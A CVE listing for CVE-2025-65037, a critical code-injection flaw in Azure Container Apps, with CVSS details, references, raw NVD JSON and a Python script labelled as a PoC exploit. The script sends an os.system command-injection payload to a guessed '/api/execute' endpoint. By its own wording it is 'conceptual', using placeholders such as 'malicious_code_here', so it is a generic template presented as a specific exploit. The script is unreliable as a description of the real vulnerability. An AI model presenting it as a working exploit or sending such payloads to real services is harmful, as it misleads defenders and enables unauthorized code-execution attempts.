CVE-2025-65037

Description

Improper control of generation of code ('code injection') in Azure Container Apps allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_container_apps:-:*:*:*:*:*:*:* - VULNERABLE

Azure Container Apps 所有版本（截至2025年12月18日）

具体受影响版本需参考微软官方安全公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-65037 Azure Container Apps Code Injection PoC
# Note: This is a conceptual PoC for educational purposes only

import requests
import json

TARGET_URL = "https://<azure-container-apps-host>.azurecontainerapps.io/api/execute"

def generate_malicious_payload():
    """
    Generate malicious payload for code injection
    In real attack, this would exploit improper code generation control
    """
    # Example: Malicious command injection payload
    payload = {
        "command": "execute",
        "code": "__import__('os').system('whoami')",
        "params": {
            "input": "'; malicious_code_here; '"
        }
    }
    return json.dumps(payload)

def exploit_cve_2025_65037():
    """
    Attempt to exploit CVE-2025-65037
    """
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0"
    }
    
    payload = generate_malicious_payload()
    
    try:
        response = requests.post(
            TARGET_URL,
            data=payload,
            headers=headers,
            timeout=30
        )
        
        print(f"Status Code: {response.status_code}")
        print(f"Response: {response.text}")
        
        if response.status_code == 200 and "result" in response.text:
            print("[+] Potential exploitation successful")
            return True
        else:
            print("[-] Exploitation may have failed")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2025-65037 PoC Test")
    exploit_cve_2025_65037()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65037
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65037
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65037/
[4] VulDB https://vuldb.com/cve/CVE-2025-65037
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-65037

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65037", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:01.433", "lastModified": "2026-01-15T21:55:28.097", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper control of generation of code ('code injection') in Azure Container Apps allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_container_apps:-:*:*:*:*:*:*:*", "matchCriteriaId": "6C0A8A8E-92CD-4FD8-B498-849CBCE0075C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-65037", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}